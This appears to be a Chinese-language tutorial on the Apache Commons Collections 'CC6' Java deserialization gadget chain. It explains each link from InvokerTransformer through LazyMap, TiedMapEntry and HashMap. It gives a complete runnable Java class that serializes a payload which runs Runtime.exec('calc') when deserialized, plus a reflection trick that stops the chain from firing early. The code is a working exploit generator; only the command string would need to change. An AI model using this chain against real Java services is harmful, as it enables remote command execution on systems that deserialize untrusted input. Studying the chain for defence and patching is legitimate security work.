环境准备

因为cc链6和cc1的尾部相同只是触发的起点不同,所以我使用的是cc1的环境

分析

这次我们从按着代码顺序来逐步分析

第一步

1
2
3
4
5
6
7
8
9
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);

依旧是从Transformer接口开始来调用三个实现类,分别ConstantTransformer(调用transform返回的是构造函数传入的值),InvokerTransformer(反射调用执行命令)和ChainedTransformer(可以让数组里的对象循环调用transform方法),使用反射调用的理由也很简单,因为Runtime类是无法进行反序列化的,必须使用Class对象进行反序列化,这里也要利用到反射(cc1应该提到过)。

第二步

1
2
Map m = new HashMap();
LazyMap decorate = (LazyMap) LazyMap.decorate(m, chainedTransformer);

我们要找是谁调用transform方法的类,这里找到的是LazyMap类(它的get方法调用了transform方法),和cc1链的第二种写法一致,定义一个Map然后使用lazymap类的decorate方法进行实例化

第三步

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());

接着找是谁调用了get方法,我们这里找到了TiedMapEntry类里的getvalue方法,那么谁有调用了getvalue方法呢,是这个类的hashcode方法,对hashcode的调用又回到了,我们学习反射时调用的第一条dns链了

第四步

1
2
3
4
5
6
7
8
9
HashMap map = new HashMap();
Class ti = tiedMapEntry.getClass();
Field map1 = ti.getDeclaredField("map");
map1.setAccessible(true);
map1.set(tiedMapEntry, new HashMap());

map.put(tiedMapEntry, "aaa");

map1.set(tiedMapEntry, decorate);

这样我们就可以重写Hashmap类的readobject方法,来调用hash函数来调用hashcode,至此这条链子就分析结束了,但是有一个问题是和dns链相同的问题,就是我们必须使用put来传值,使整个链子得到调用,但是put会调用hash方法继而调用hashcode(这里会调用是因为key),也就是说,链子不在反序列化时调用而是会提前调用。

解决方案

问题呢就是

img

这边不为空,不为空的原因也很简单

img

这里传了一个对象也就是tiedMapEntry的map属性是有值的就是decorate

img

所以会提前触发,要解决它,我们只要在put时不触发hashcode就行,所以要让key为空

所以我们直接给他一个空的hashmap实例就可以让他为空

img

绕过put之后要让key为有值的tiedMapEntry,

所以我们要在进行一个赋值,这样才能保证反序列化成功。

整体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map m = new HashMap();
LazyMap decorate = (LazyMap) LazyMap.decorate(m, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());
HashMap map = new HashMap();
Class ti = tiedMapEntry.getClass();
Field map1 = ti.getDeclaredField("map");
map1.setAccessible(true);
map1.set(tiedMapEntry, new HashMap());
System.out.println(tiedMapEntry);

map.put(tiedMapEntry, "aaa");

map1.set(tiedMapEntry, decorate);

serialize(map);
unserialize("ser.bin");





// Method getDeclaredMethod = (Method)new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
// Runtime invoke = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getDeclaredMethod);
// Object exec1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(invoke);

}



public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String file) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
return objectInputStream.readObject();
}
}